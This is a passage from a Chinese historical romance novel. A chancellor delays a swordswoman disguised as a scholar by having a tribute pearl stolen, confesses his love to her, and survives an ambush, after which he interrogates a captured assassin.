虽然近几日他觉得自己已经想通了她离开的原因,也有了说服她与自己同行的理由,却还是很没有把握,这还是他第一次遇见这种难以预料的事情。
经过一个辗转反侧的夜晚,陆瑜翌日一早便金冠玉带,穿着一身月白长袍走出帐篷,他还记得白妙可受邀赴会见到他这身打扮的时候,眼里藏不住的惊艳之色。
在帐外候着的戎青和富贵却是不约而同地皱起眉头。
富贵内心:公子不会是为了白姑娘才这般打扮的吧……
戎青内心:丞相大人这身衣服骑马不会很快就脏了吗?
陆瑜旁若无
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人的从二人身旁走过,抬头便看见了冲着这边飞来的鸽子。
摘下上面的纸条,上头写着:事成,最多拖一日。
他勾了勾唇角,顺手将纸条扔进残存的火堆中。
“走吧。”说罢便要上马。
“等一下公子!我帮你垫个软垫吧。”富贵不知从何处掏出一个垫子,大小恰好可以放在马鞍上面,殷切的看着陆瑜。
陆瑜看了眼软垫,点了点头。
富贵忙上前将软垫固定好,紧接着便听见陆瑜低声说了句谢谢。
再想去看的时候,陆瑜已经骑马走在前面了。
有了软垫,再后来的路程陆瑜腿上的伤口虽然还会隐隐传来痛感,但是比起昨日已经是好了许多。
这次一行人连晌午都没有停下歇息,一直在跋涉赶路。
虽未明说,但是侍卫们都已猜到丞相大人是在追什么人,只有戎青知道是在追那日的两个书生。
不知那二人什么来历,但是能让丞相这般重视,想必并不简单,是以众人都在一心赶路,无人有怨言。
终于在申时初抵达了昌州城外。
昌州城却是城门紧闭,重兵把守。
打头探路的戎青看了看紧闭的城门,调转马头向陆瑜禀报道:“公子,城门不知为何锁了,属下去打探一下发生了什么。”
陆瑜淡定点头,看上去丝毫不意外会遇见这种情况。
城中的确有大事发生,预备进贡给圣上的九龙凤髓珠丢了。
九龙凤髓珠是南海郡月余前上奏进贡的祭祀贡品,珠子表面由九条真龙镂空雕刻组成,内里镶嵌至纯的鸽血红作为凤髓,整个珠子一体难分,浑然天成,圣上得知以后龙颜大悦,特批专人护送至京城,用于下月的祭祀大典。
这般重要的贡品竟然在昌州地界丢了,昌州知府立刻便下令封锁城门。从昨夜夜半发现九龙凤髓珠失窃以后便连夜搜查,所有人不许进也不能出。
住在客栈的白妙可昨夜便被叫醒搜查了一番,今日更是被封在了城中。
她干脆睡了个日上三竿才起来,在客栈用膳的时候顺便打听情况:“掌柜的,为何要封城啊?”
“听说丢了重要的贡品,知府急得不行,放话说一日找不出便谁都不许出城。”客栈掌柜的消息还算灵通。
白妙可接着问:“你可知丢的是何物?”
“那便不知了,这事儿只有搜寻的那些官老爷们知道了。”掌柜答道。
白妙可点点头:“多谢掌柜。”
吃过饭她也没闲着,让春杏在客栈等她消息,白妙可一个人在街上转了半天,也没打听出来到底是丢了个什么东西。
但是却有意外发现。
她再次拐进一个小巷子,一过转角就转身贴在墙壁处,屏息等待。
果然紧跟着来了两个一身劲装的人,正往前张望的功夫,白妙可眼疾手快地给了打头那人一记手刀,她并未收着力道,那人应声倒下。
剩余那人见此变故,反应很快,运起轻功一跃而起,白妙可顾不上管地上的人,抽出腰间的长鞭向着那人甩去,被闪身躲过。
这人身手还不错,白妙可唇角轻勾,脸上带着一丝兴奋,腾身而起追了过去。
27. 又见面了
此人身手不错,轻功却是不如白妙可,追了一条街两人的距离便逐渐拉进,她眼疾手快甩出手里长鞭,缠住了那人的脚踝。
一收一拽间就将人放倒,倒挂在房檐上。
白妙可单手提着鞭子,低头去看坠在下头的人,两人的动静吸引了街道尽头正在搜寻的官兵,他们正在往这边赶来。
那人看了看地面的距离,又看了看白妙可玩味的表情,终是放弃挣扎,妥协道:“别被官府的人抓到。”
“为何?谁派你来的?”白妙可不为所动,继续问道。
“你先带我走,我便告诉你。”眼见官兵靠近,那人声音逐渐急促。
在官兵靠近之前,白妙可抬手将人拽了上来,拿着一把匕首抵着他的腰,两人回了那条巷子。
地上的人还在昏迷,白妙可不在意的撇了一眼,看着另一人道:“说吧。”
那人却是闭口不言了,只是一双眼睛盯着天空方向。
白妙可摇头:“反正今日也出不了城,正好无趣。”
她找来一辆马车,将二人带到了客栈,五花大绑。
但是无论她如何威胁二人都是油盐不进的模样,白妙可没了耐性:“那便别怪我不客气了。”
暗卫自然是不怕死的,下一瞬两人却是变了脸色。
只见白妙可伸手向其中一人探去,一直守在旁边的春杏开口劝阻:“我来吧,小姐。”
白妙可看了看二人相貌平平的脸,收手点了点头。
片刻过后,春杏拿着一个雕花木盒出来:“小姐,这是从其中一人身上搜出来的。”
白妙可接过小巧的木盒,打开里面赫然是一颗做工精巧的珠子。
她眼睛一亮,拿起珠子细细打量,看着上面精妙绝伦的雕工和用料,她觉得有什么真相呼之欲出。
她拿着珠子问一脸绝望的两人:“这就是官府在找的东西吧?”
虽是疑问句,语气里却是没有疑问,也不指望他们能回答,因为怕二人寻死,春杏在搜身的时候就已经卸了二人的下巴。
此刻两人的眼睛紧盯着白妙可拿在手里还一抛一抛的九龙凤髓珠,白妙可却是敏锐地发现了他们时不时撇向窗外的眼神。
将珠子随手塞进袖中,白妙可走到窗边挑开窗扇,屋内的情形顿时一览无余。
做完这些,她站在窗边看了片刻,眼睛微眯,紧接着抬手扔出一块小石子。
伴随着几声鸟鸣,一只雪白的鸽子就落到了她的手中。
她拆下鸽子腿上的纸条,笑着看了一眼地上二人愈发绝望的神情,语气轻快,像是找到了新的乐子:“你们便是在等这个吧。”
不顾二人奋力挣扎的动作,她展开纸条,脸上的笑意变成了疑惑。
还珠,开门。
纸条上只有四个字。
这珠毋庸置疑说的是自己手里这颗了,开门指的是开城门吧,白妙可能看懂纸条大概的意思,但是想不通这二人到底是在做什么。
好不容易偷来珠子,现在又要还回去?
她本以为是两个胆大包天的小偷,偷完珠子还想尾随她,是看中了她随身带着的钱财,现在看来事情没有那么简单。
白妙可把玩着那颗价值连城的珠子,依旧爱不释手,脸上却是没了笑意。
她将一把匕首对准其中一人的胸口,问:“说吧,谁派你们来的?”
那人扭头抗拒,态度坚决。
白妙可又将匕首推进一寸,锋利的刀尖立刻刺穿衣物刺破皮肤。
“还不说吗?你的主子还在城外等着吧?”
那人依旧一动不动。
“那我便把你杀了,这颗珠子也就不必还了,正好我还挺喜欢的。”白妙可恶劣地露出一个反派标准微笑。
那人的表情终于有了松动,却也只是一瞬便又恢复了那副视死如归的模样。
白妙可在刀尖刺破心脏的前一秒收回匕首,顺便在这人衣服上擦了擦刀。
“先留你们一命,等我去会会你们主子再说。”白妙可轻飘飘道。
虽然没问出来什么,但是从这两人显然是死士一类的,能派出这种人的,身份必不会简单。
正当她暗自思索得罪了哪个大人物的时候,窗外传来一阵嘈杂,是官兵又搜寻到了此处。
看来大有搜不出来就不罢休的阵仗。
她叹了口气,依依不舍地摸了摸九龙风髓珠,将它重新放回盒子,给绑着的人接上下巴,问道:“这东西从哪儿偷来的,我做个好人,替你们去还了。”
想到丞相大人可能还在城外等着,那人犹豫片刻终于还是开口了:“在府衙后院的……”
“府衙?可以。”白妙可打断了他的话。
又顺手卸了他的下巴,懒洋洋开口:“让我出手的价格可是很高的,希望你的主子能付得起。”
说罢叮嘱春杏看好他们,自己出了客栈,向着府衙方向走去。
能用的人都派出去找东西了,府衙内部空空荡荡。
白妙可没费多少功夫就找到了昌州知府所在的公房。
她在窗上戳出一个小洞,悄悄向屋内看去。
只见头发凌乱的知府瘫坐在太师椅上,面容憔悴,肉眼可见的焦躁不安。
白妙可懒得管他,直接将装着九龙凤髓珠的盒子放在知府房间门口,然后轻叩门扉,在知府来开门之前闪身离开。
坐在屋顶看着昌州知府欣喜若狂的表情,白妙可心想:我可真是个做好事不留名的大善人。
没过多久便有官兵前去开放城门。
封城一日,不仅城内想要出去的人怨声载道,城外也聚集了不少等着进城的百姓,若不是有官兵守着,焦急又愤怒的百姓恐怕都要破门而入了。
此刻城门一开,等候许久的人群一窝蜂涌入,坠在最后面的可不正是陆瑜一行人。
他们从申时便来到了城门处,向城内传出消息到现在开城门,少说也过去了一个多时辰,陆瑜一直淡定从容,仿佛一切尽在掌握之中,此刻众人入城,纷纷觉得丞相大人果然神机妙算。
陆瑜一身月白衣袍长身玉立走人群中仿佛鹤立鸡群一般十分显眼,白妙可一眼便看见了几日不见的丞相大人。
两人对视的片刻,白妙可觉得心中杂乱无章的思绪突然有了些眉目。
竟然是他!
反观对面的陆瑜,他面上云淡风轻的神情在看见城门处那熟悉的身影时,就露出了裂痕。
一时之间僵在了原地。
他本想制造二人偶遇的计划也落空了,只是不知白妙可是否知道了事情的全貌,一时内心有些忐忑。
白妙可抱臂站
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在一旁,眼睛盯着陆瑜的方向,正一边看着风度翩翩的丞相大人步步靠近,一边想着今日发生的种种事情。
剥丝抽茧一般通通串了起来,她有些恍然,又多了些新的疑问。
来不及细想,人便走到了近前。
陆瑜身后仍然是那几个侍卫,却没有马车的踪迹。白妙可还眼尖地看到陆瑜月白衣袍下摆处落了的几个泥点子,不知他这是走了什么路,衣服都脏了,
直到人在她面前站定。
白妙可才收拢思绪,倾身靠近,轻声道:“又见面了,陆公子,骑马果然是快呢。”
陆瑜此时已经恢复了往日的平静,唯一担心的是那两个暗卫的安危。
他神色自然地开口:“是啊,没想到又遇到了,好巧。”
白妙可嘴角一抽:“不巧,我在等你呢,陆大人。”最后三个字咬得格外重。
陆瑜神色一凛,心知事情已经暴露了,依旧面不改色道:“借一步说话。”
恢复通行的街上人来人往,的确不适合算账,白妙可勾唇:“那便跟我走吧。”
不顾身旁戎青等侍卫戒备的目光,陆瑜伸手示意她带路。
不多时便到了客栈。
走到关着两个暗卫的房间门口,白妙可环视一圈陆瑜身后的侍卫,对他淡淡开口:“让他们自行安排去,陆大人自己跟我进来。”
闻言戎青的手已经握在了剑柄上,其余侍卫也严阵以待,一时之间气氛剑拔弩张。
陆瑜已经大概猜到了里面关着自己的暗卫,他抬手示意众人稍安勿躁,“今日便在此处落脚一晚,辛苦各位了,大家各自去休息吧。”
说罢径自跟着白妙可进了房间。
白妙可无视众人的灼灼目光,转身便将房门关了个严实。
接着便看见陆瑜正在盯着地上昏迷不醒的两个人看,两人身上都染了不少血迹,一动不动。
“这二人陆大人可认识?”白妙可开门见山道。
陆瑜没必要再隐瞒,缓缓点头,“是我的人。”
说罢伸手去探他们的鼻息。
“放心吧,没死。”白妙可语气随意。
陆瑜松了口气,开口道,“陆某替他们多谢白姑娘的不杀之恩。”
“先别谢早了,还没开始算账呢,丞相大人。”白妙可冷哼一声。
“说说你想做什么吧。”白妙可边把玩着手里的鞭子边问。
怕她误会,陆瑜先解释道:“我并非派他们来伤害你。”
“他们也伤不了我。”白妙可语气不善。
陆瑜叹气,“是,我只是让他们拖延你一日时间。”
“为何?”白妙可隐隐猜到了什么,开口问道。
陆瑜只好坦白:“自你走后,我左思右想后颇觉不安,便派人寻你,昨日传回消息时,我尚在康平县附近,于是才出此下策。”
听他这么一说,白妙可立刻明白了,各着他费尽心机安排这么一出,只是为了留自己在此多待一日。
康平县至此少说也有八十多里,他居然一日多便到了,其中的辛苦不言而喻。
白妙可只是不明白,他为何要这么做。
心里疑惑,嘴上便问了出来:“寻我做什么?”
陆瑜犹豫片刻才开口道:“我以为我的心意你早便明了。”
28. 我心悦你
我以为我的心思你早该明了。
这句话在白妙可的脑中久久回响,半晌才反应过来。
便看见陆瑜难得外露的忐忑神情,白妙可反而没有什么羞涩的感觉了。
她从未觉得眼前这位权臣这般可爱,她忍住笑意,一本正经地问:“什么心思?”
“我心悦你。”陆瑜脱口而出。
他向来不是个犹豫不决的人,既然已经想好,表白心意便不再困难。
听见他的回答,白妙可才觉得自己的心跳也快了起来。
还未仔细品味,便不自觉地挂上一个甜甜的微笑。
旁的不说,她从见陆瑜第一眼便觉得此人生的实在好看,掳来做白家赘婿是极好的,知道人是丞相以后才淡了这个念头。
后来两人接触变多,她多少也觉察了陆瑜的心思,不然在业城的时候也不会人都走了还留一条帕子给他,她本想着若是两人回京后没准能再续前缘。
没想到他反而自己送上门来了,人都追到这儿了,还费了这般心思留住她一天。
想象到陆瑜给白家做赘婿的情形,白妙可不禁有些想笑,却又对上他认真的眼眸。
她不动声色地移开视线,低头便看见了他虎口上缰绳磨出的硬茧。
记得前几日这双手还是如玉一般修长无暇,短短几日便肉眼可见的粗糙了不少,白妙可渐渐收敛了笑意,只觉得心口又酸又甜,这种感觉对她来说十分新奇。
沉默片刻她又抬起头。
冲陆瑜笑眯眯地眨了眨眼睛,缓缓开口:“承蒙大人厚爱,我很高兴。”
陆瑜觉得自己的心都快跳出来了,紧张半天没想到就等到这个似是而非的答案,却不解其意,只能装作云淡风轻地问:“那白姑娘对我的感觉呢?”
白妙可看着他那张完美无瑕的俊秀脸庞,能看出近几日消瘦了一些,却是更添了几分清冷感,默默咽了咽口水。心道自己要矜持一点才好,别把人吓跑了。
于是斟酌开口:“尚可。”
这模棱两可的回答让陆瑜有些摸不着头脑,却是重新有了些信心,决定继续试探一下她的态度:“陆某也要前往江南,白姑娘可愿意与我同行?”
人都追到跟前了,白妙可自然没有定力再拒绝了,点头答应,浑然忘记了自己前几日才不告而别的事情。
陆瑜没想到她这么容易便答应了,忍不住问到:“那你上次离开是因为?”
白妙可还沉浸在丞相给自己做赘婿的美梦中,经他提醒才记起此时,低低开口:“我不是你的属下,不想全听你的,若是有分歧……”
做惯了位高权重的上位者,陆瑜习惯了说一不二的统筹全局,却从未想过她会因此离开。
他听懂了她的未尽之言,心道她果然还是那个任性的大小姐,自己顺着她便是。
于是颔首答应:“好,都依你”
毕竟费劲心机才靠近这只蝴蝶,陆瑜不愿再次将她吓跑,心中叮嘱自己要多些耐心。
得了他这句话,白妙可满意地笑笑,眼睛亮晶晶地盯着他看。
心想,若是他能都听自己的,那可真是个完美夫君了。
于是两人都觉得自己前途一片光明。
等二人谈完从房中出来的时候,心惊胆战等在外面的重任便看见了一个意气风发的丞相和一个春风满面的……书生。
没错,白妙可还是一身书生打扮。
她出门后冲众人笑了笑后开口:“劳烦找个大夫来吧,里面的人受伤了。”语气中没有半分伤人的愧疚,仿佛是个见义勇为的大善人。
怎么还有人受伤了?不明所以的众人面面相觑。
白妙可毫不在意地摇着折扇离开了,她现在有些激动,需要找地儿消耗一下精力。
于是便拉上春杏上街去了。
昌州虽是一个小镇,但是街道上也很是热闹,白妙可跟春杏在一个馄饨摊上吃晚饭,顺便跟她分享了方才与陆瑜的谈话。
“丞相大人真的心悦小姐啊!”春杏惊讶出声。
白妙可忙捂住她的嘴,“小点声!周围人多眼杂的。”
完事儿矫揉造作地理了理头发又摇了摇手里的折扇,自己改了称呼,“你大哥我这般有魅力,他心悦我也是正常。”
惹得春杏笑着附和:“那是自然,奴婢从未见过比大哥还厉害的人。”
白妙可点头,咬了一口馄饨,忽然想到什么,含糊不清地问:“你说他不会是看上了我功夫好吧?”
“不会吧……丞,陆公子没说缘由吗?”春杏差点又说漏嘴。
“没说,有机会我问问。”白妙可答。
“那小姐是怎么回答他的?”春杏好奇。
“我就说尚可啊,他那种迂腐文人,太快的话怕是难以接受。”白妙可觉得自己很是机智。
春杏跟着点头,继而想起来新的问题:“那咱们与他们同路岂不是又要慢下来了。”
“不会,他说了听我的,让他也骑马呗。”白妙可不以为意道。
说说笑笑间两人吃完馄饨,又在街头买了几串糖葫芦,边吃边往客栈方向走去。
走到门口便看见富贵站在那里张望,一看见她就小跑上前道:“白公子,我家公子在楼上等您。”
白妙可点点头:“我上去找他。”
一手一串糖葫芦就去了二楼陆瑜的房间。
进门发现他正站在桌前不知在做什么,白妙可走近递给他一串糖葫芦。
陆瑜不爱吃甜,已多年未曾吃过这种零嘴,却还是伸手接过,只是拿在手里没动。
“我特意去街上给你买的。”白妙可张嘴就来。
闻言陆瑜看了看她手上那串吃了一半的糖葫芦,举起自己那串咬下一个山楂,酸甜的滋味在口中绽开,他笑道:“多谢。”
见他吃了,白妙可问:“你喜欢吃吗?”
陆瑜违心回答:“喜欢。”
白妙可狡黠地笑了,“那你多吃点儿,别辜负我的一片心意。”
这次买的糖葫芦太酸了,她实在吃不下了,她就坏心眼地想看看陆瑜酸掉牙的表情。
却见男人淡定地又咬下一颗山楂,面不改色地吃了下去,连眉头都未皱半分。
白妙可疑惑:难道他吃的这串不酸?
于是她好奇地拿过他手中的那串,在对方没反应过来咬下一颗。
陆瑜一句“那是我吃过的”被堵在了嗓子眼,有些别扭的摸了摸耳朵。
“好酸!这你都能吃下去?”白妙可精致的小脸皱起,做这般夸张的动作反而多了几分可爱。<
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p>陆瑜看着她嫣红的嘴中含着一颗山楂,吐也不是,咽也不是的模样,失笑出声。
拿起桌边的一个空茶杯放到她的唇边,道:“吐吧。”
白妙可二话不说就吐出了那颗酸得她眼泪都要出来的山楂,又灌下一杯茶水才觉得好些。
“你是不是耍我?”白妙可开始秋后算账,全然忘了自己最开始捉弄他的坏心思。
“我不是有意的,只是不想辜负你的好意,”陆瑜无奈解释。
白妙可轻哼一声表示自己不和他计较,这才想起来正事。
“对了,你找我何事?”白妙可问。
“与你商讨明日的路线。”陆瑜低头看去。
白妙可才注意到桌上放着一张舆图,上面还有些圈圈点点的标记。
“有两条路可选,你想走哪条?”陆瑜手指点着舆图上面的两条路。
白妙可顺着他的手指看去,一条路明显又是偏僻小路,另一条是曲折不少,但是看起来能在天黑前赶到莲城。
“这条怎么样?”白妙可伸出一根食指点在他指着第二条路的手上。
感受到手背上传来的温热触感,陆瑜呼吸一滞,勉强将视线凝聚在舆图上,回道:“可,那到莲城便要换走水路了。”
白妙可点点头,没忍住摸了把陆瑜青筋分明的手背,又故作无事地收回手。
没注意到陆瑜又悄悄红起来的耳朵,揩油得逞的白妙可眉眼弯弯,“好呀,我还未走过水路呢。”
陆瑜颔首:“明日卯正出发,好好休息。”
白妙可已经走到了门边,她今日又是追人又是打架又是逛街的,着实有些累了,最后看一眼美男便准备回去美美睡觉了。
可是听见这话,白妙可刚迈出房门的一只脚又收了回来,她转身震惊开口“卯正出发?”
陆瑜点头,“怎么了?”
“这也太早了吧!”白妙可面露为难。
“那……”陆瑜很是犹豫,在他看来卯正已经很晚了,毕竟自己经常卯初便起来读书或处理公务了。
“再晚一个时辰差不多。”白妙可理所当然道。
陆瑜蹙眉,估算着路上要花费的时间,刚想反驳,白妙可便飞快补充,“来得及的,而且你说都依我的。”
这话一出,陆丞相实在无法反驳了,只好妥协地点点头,也担心又把人给逼走了。
白妙可这才摆摆手离开。
屋内瞬间安静下来,陆瑜依旧站在桌前,视线落在白妙可给他带来的那串糖葫芦上。
上面已经少了两颗,他面上带了笑,不顾酸意拿起剩下的糖葫芦慢条斯理地继续吃。
是以富贵进门的时候便惊讶地发现自家公子在吃一串看起来只值两文的糖葫芦,而且上面只剩最后一个了。
陆瑜吃完最后一颗糖葫芦,才喝了口茶水缓解了一下已经有些麻木的舌头,对仍在错愕的富贵吩咐道:“明日辰时出发。”
富贵更加诧异了,别说赶路时间紧迫了,便是在京城主子也鲜少有这么晚的时候。
“她起不来。”许是心情不错,陆瑜难得多解释了一句。
“对了公子,白姑娘方才要两千两银子……赎人。”富贵想起来自己来是要禀报正事的。
陆瑜:这场景怎么这么熟悉?
29. 身上好热
“打晕一个累得手腕疼,需要赔偿五百两,又追另一个追了两条街,累的腿疼,需要赔偿五百两,费心费力审问和盯着这两人花了半天时间,给个一千五百两不过分吧,看在我同你们公子关系好的份上,抹个零头,两千两银子。”富贵给陆瑜复述了一遍白妙可的原话。
陆瑜从最初的惊讶到无奈,真不愧是白家少东家啊,这算账的本事恐怕无人能敌,自己险些忘记她这张嘴就来的骗子行径了。
“公子,是她先捅伤了我们的暗卫,现在反而狮子大开口,属下这便去回绝她。”富贵义愤填膺道。
“不必,我有办法。”陆瑜说罢提笔写了一张欠条。
今欠银两千两,待返京归还。
落款写着遒劲有力的陆瑜二字。
富贵疑惑:“公子,我们出门带的钱多,两千两还是拿得出的。”
“无事,以后便不必分得那么清楚了。”
这话听得富贵有些摸不着头脑,还想再问问为何却看见主子已经走远了。
并且将欠条妥帖放好,准备明日亲自给她。
翌日
天光大亮的时候白妙可才慢悠悠出门,便看见陆瑜一行人已经收拾妥当了。
“早啊,陆公子。”白妙可笑着打招呼。
她觉得自己好满足的很,能睡醒再起床,一出门便能看见这张赏心悦目的脸,就已经很是心满意足了。
“看来你昨夜休息的甚好。”陆瑜对她笑道。
白妙可点点头,从春杏手中接过缰绳,便翻身上马了。
陆瑜紧随其后,一行人便出发了。
在走出昌州城门时,白妙可觉察到身后有什么动静,狐疑地回头看了两眼,却什么都没发现。
她便以为是自己眼花了,也不再追究。
按照昨夜商定的路线,几人出城不久便拐上了一条小道。
小道蜿蜒不见尽头,两侧是参天的茂林,几乎难以进入。
白妙可惊叹地左右看看,不知陆瑜是如何找到这般偏僻隐蔽的小路的。
小道仅够两人骑马并行,陆瑜状若无意地来到白妙可身侧,将她旁边的春杏挤到了后面。
看见他来,白妙可忽然想起来两人的账还没算完,于是问:“富贵告诉你了吧?我可是给你抹掉了五百两零头呢。”白妙可自以为很是公道。
“说了,这个给你。”陆瑜从袖中取出一张纸递过去。
白妙可没想到他这么痛快,接过展开才发现居然是张欠条,她一时无语。
堂堂丞相居然两千两都拿不出!
她转念一想,那他给自己做赘婿的可能性更大了啊。
于是陆瑜便看见了她由阴转晴的神情变化。
淡淡开口:“出门在外,一时拿不出两千两,算我欠你的。”
白妙可听着他那句算我欠你的,第一次觉得别人欠自己钱的感觉也挺好的。于是她大方摆手:“无事,我相信大人的人品。”
“你可以叫我的表子,子澄。”陆瑜觉得她一口一个大人太过生分。
只有十分亲近之人才会以表字相称,便是他昨夜表明了心意,白妙可也觉得两人还没有那般亲近。
灵机一动,道:“子澄不够特别,我叫你橙子好了,更顺口一些。”
说罢就眨着大眼睛叫道:“橙子,橙子!”
听着她天真的语气,陆瑜扶额苦笑,“那也……行吧”
半天的路程在两人的笑闹中很快度过。
众人稍作休息后继续上路。
下午的路变得更加难行了,崎岖不平的小路仅能容纳一人一马通行,两侧具是陡峭的山壁。
戎青将侍卫们排成一列,陆瑜在中部位置,前后都是队伍中功夫最好的侍卫保护。
白妙可跟春杏站在一边看他安排,开口问:“那我们呢?”
戎青给她指了一列队伍中后部的位置。
白妙可很不满意,策马走到陆瑜前面的位置,“我要挨着你。”
戎青还想说些什么,被陆瑜摆手制止。
“好,你走我前面。”陆瑜对白妙可说道。
白妙可点头,路过戎青的时候还茶兮兮地瞥了他一眼。
然后便上路了,为了能在天黑前进城,下午的速度明显加快。
策马驰骋,白妙可俯在马背上听耳边风声咧咧,初秋的风不冷不热,她只觉舒畅,恨不得再跑快些,能飞到天上去最好。
他身后的陆瑜就没有这般惬意了,看着前面白妙可飞扬的发丝,他有心离她近些,奈何身下的马不听使唤,二人之间隔着十步的距离。
行至一处缓坡的位置,前面领头的几个侍卫突然被绊马绳放倒,纷纷摔下马来。
随后几个黑衣人从坡后冲出,顷刻间便向陆瑜杀来。
戎青喊道:“保护公子!”
白妙可很快从突然的变故中回过神来,立刻勒马回头,便看见几人持刀而来。
故不得其他,她立刻甩出长鞭,径直缠住了一把长刀,手上用力,连人带刀拽到跟前。
她并未下马,只抬脚踢在那人心口,一下飞出几丈远。白妙可反手持刀,策马向着陆瑜奔去。
还未赶到,便看见一只箭矢只指陆瑜心口而来,她拔下头顶木簪,用力掷过去,恰好击中箭矢,断成两截落在地上。
眼看距离够了,白妙可纵身一跃,从自己的马背直直掠到陆瑜马上。
此时戎青等侍卫也已经靠了过来,但是此处狭窄险峻,无法将陆瑜围在中间,只能靠白妙可不断击退刀枪箭矢。
少了一根发簪,又加上激烈的打斗,她的头发丝丝缕缕地散落了下来,陆瑜被她护在身后,眼睁睁看着她的一缕青丝被擦过的刀刃斩断。
他抽出自己防身用的匕首,冲着那人掷去,用了十成力道,那人闪躲不急,立刻被匕首插入胸腔倒地。
察觉到陆瑜的动作,白妙可还有心情夸他:“陆大人好准头。”
看着山坡后面隐隐绰绰的人影,陆瑜给她一个眼神,扬声道:“别恋战,冲过去。”
众人闻言边打边往前走,很快便突破了黑衣人的围攻。
白妙可仍然持刀警惕着周围,陆瑜在后面扯着缰绳,伸手便像是将人圈外怀中一般,两人的姿势一时间有些暧昧。
待身后的打斗声渐渐消失,白妙可才注意到自己的后背此刻紧贴着他的胸膛,细心去听还能听到男人强有力的心跳。
“累的话可以靠在我身上。”男人低沉的声音从身后传来。
白妙可便不客气地靠在了他的身上,感受着背后传来的温热感触。
纵使气都没喘匀,白妙可也要调侃两句:
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“橙子,你身上好热。”
陆瑜紧绷的神经也渐渐放松,轻声问:“有没有受伤?”
白妙可摇头,发丝擦过男人脖颈。面不改色地自夸:“笑话,以我的身手怎么可能受伤。”
“那便好。”陆瑜语气也缓了下来。
白妙可想要理一理自己散落的头发,一抬手却传来一阵痛意,才发现自己的手臂有一道伤口,丝丝血迹往外渗出。
她轻嘶一声,陆瑜立刻发现了她的异样,蹙眉盯着那处伤口。
接着便是一阵布料撕破的声音,陆瑜将自己的一截衣服撕了下来,接着道“我帮你包扎一下。”
对白妙可来说,这点划伤其实算不得什么,但是看着他担忧的眼神,她还是点头同意,将手臂抬起。
陆瑜小心翼翼地将她的伤口一圈一圈缠好,动作细致又耐心。
白妙可看着他低垂的眼眸,敛去了锐利的眸子,她莫名想起幼时养过的一只白毛小狗,也是这般的乖顺可爱。
陆瑜包扎完伤口再抬头的时候,就对上了她怜爱的目光,有些许怔愣。
他见过太多人的目光,有敬畏的,恐惧的,厌恶的,却从未见过有人用这种目光看自己。
“伤口疼吗?在看什么?”陆瑜问。
“好疼啊呜呜,看看你会好一点儿。”白妙可趁机卖惨。
“看我难道就不疼了?”陆瑜疑惑。
“都说秀色可餐,我看秀色也可止疼。”白妙可嘿嘿笑着打趣。
一直紧绷的陆瑜也失笑出声。
身下的骏马带着两人跑了很远,速度也渐渐慢了下来。
“应该安全了,等等他们吧。”白妙可说道。
陆瑜便让马慢慢沿着小路走,等着戎青等人追上来。
“今日你又救了我一次。”陆瑜突然开口。
“对啊,我可是你的救命恩人啊。”白妙可毫不谦虚。
“但我实在不知改如何谢你。”陆瑜道。
“没事儿,我会记得的,到时候……”白妙可的话说到一半戛然而止,突然自己笑个不停。
陆瑜追问了半天也没问出来,只有白妙可心情颇好地哼着不成调的小曲。
两人一马溜达了一刻钟左右,身后便传来了阵阵马蹄声,白妙可回头看去,果然是其余人赶了过来。
众人走到跟前才发现白妙可几乎是靠在陆瑜身上,在不知情的人眼里,便是是两个男子这般亲近,实在有些……
春杏走上前将白妙可扶了下来,焦急道,“小……大哥可有受伤。”
“她胳膊伤了,富贵你去拿些金创药来。”不等白妙可开口,陆瑜便说道。
富贵很快取来一个白色的瓷瓶递给春杏,自己则去给陆瑜汇报方才的战况。
“公子,我们损失了两名侍卫,戎大人抓住了对方一个活口。”富贵语气低沉。
陆瑜沉默片刻,才回道:“知道了。”
虽是陛下专门派来保护他的人,早便做好了九死一生的准备,但是好歹是一同翻山越岭走过不少路的交情,气氛一时之间有些凝重。
但是他们不能在此逗留太久。
“带上活口,先进城再说。”陆瑜沉声下令。
他的目光沉沉望着远处的群山,仿佛要透过层层山峦看到那处他十分熟悉的深深庭院。
30. 假扮夫妻
莲城是凭借随处可见的湖水上面成片成片的莲花而得名的,可惜已至初秋,莲花早已凋落,只剩下绿油油的荷叶和其中穿插的根根莲蓬。
白妙可一行人所住的客栈便有一面临湖,洗去了今日打打杀杀沾染的血污,她身着一身素色寝衣临窗而坐。
身旁坐着春杏,正在替她的伤口上药。
“小姐也太不小心了,便是想保护丞相大人也不该把自己弄伤了呀。”春杏边涂药边絮叨。
“那些刺客是我俩引来的。”白妙可突然开口。
“啊?刺客不是来杀丞相大人的吗,与我们何干?”春杏疑惑。
“你还记得昨日在街边馄饨铺的时候吗,今日的刺客有两人当时也在。”白妙可语气沉沉。
“是因为奴婢说漏了什么吗?”春杏大惊,语气中带了几分惶恐。
白妙可安抚地拍了拍她的手背,“那也未必,只是我的猜测,终归还是陆瑜树大招风啊。”
“有小姐护着他能有何事。”春杏撇撇嘴。
接着道:“别怪奴婢多嘴,陆大人是不是知道小姐身手不一般才要与我们同行。”
“呃……那应该不是吧。”白妙可想到他说都依自己的时候那双真诚的眸子。
“可是这才第一天小姐就为他受伤了。”春杏还在打抱不平。
白妙可不以为意道:“好啦,你又不是不了解我,这点小伤算什么。”
春杏看着她肤如凝脂的小臂上寸长的伤口,虽然伤口不深,但是像是美玉上的一道裂痕般扎眼,低声道:“我只是心疼小姐,小姐也要保护好自己啊。”
白妙可第一时间冲到他马背上帮他挡下攻击的时候确实还没想太多,只是危险当前的本能罢了。
于是安抚道:“我知道的,若是真有危险,我定第一个跑。”
春杏这才笑了出来,仔细给她包扎完伤口便退到了外间。
白妙可自己在窗边又坐了许久,微风徐徐吹动她的发丝,她此刻才有机会静下心来想些心事。
她发现自己不知何时开始,开始关心陆瑜的安危了。看见朝他而来的杀招时,自己的心跳仿佛都漏了一拍。
她明明是个冷心冷情见惯了此事的杀手,怎么会这般失态呢?
想不清缘故,白妙可便懒得再想,毕竟美男死了总归是可惜的,她还想着让他来给自己做赘婿呢。
于是白大小姐很快就呈大字躺在了床上,没心没肺地睡去了。
隔壁的陆瑜却没有这般清闲了。
他刚审完今日捉来的那个刺客,放下手上染血的匕首,慢条斯理地拿起一旁的帕子擦了擦手。
“带下去,处理干净。”他淡声吩咐。
很快便有人将全身浴血的刺客拖了下去。
“公子,他的话可信吗?”富贵问。
“十之八九吧。”陆瑜面色冷得快要结冰。
刚才陆瑜亲自对那刺客用了刑,折腾了一个多时辰才撬开他的嘴。
刺客供认是太傅马鸿哲派他们来的,从陆瑜离京第二日便开始一路追踪,直到在昌州城门外才发现了他的踪迹,便提前守在城门处。
待他们出城就一路尾随,提前布置好埋伏,直到那处狭窄的路口才有机会下手。
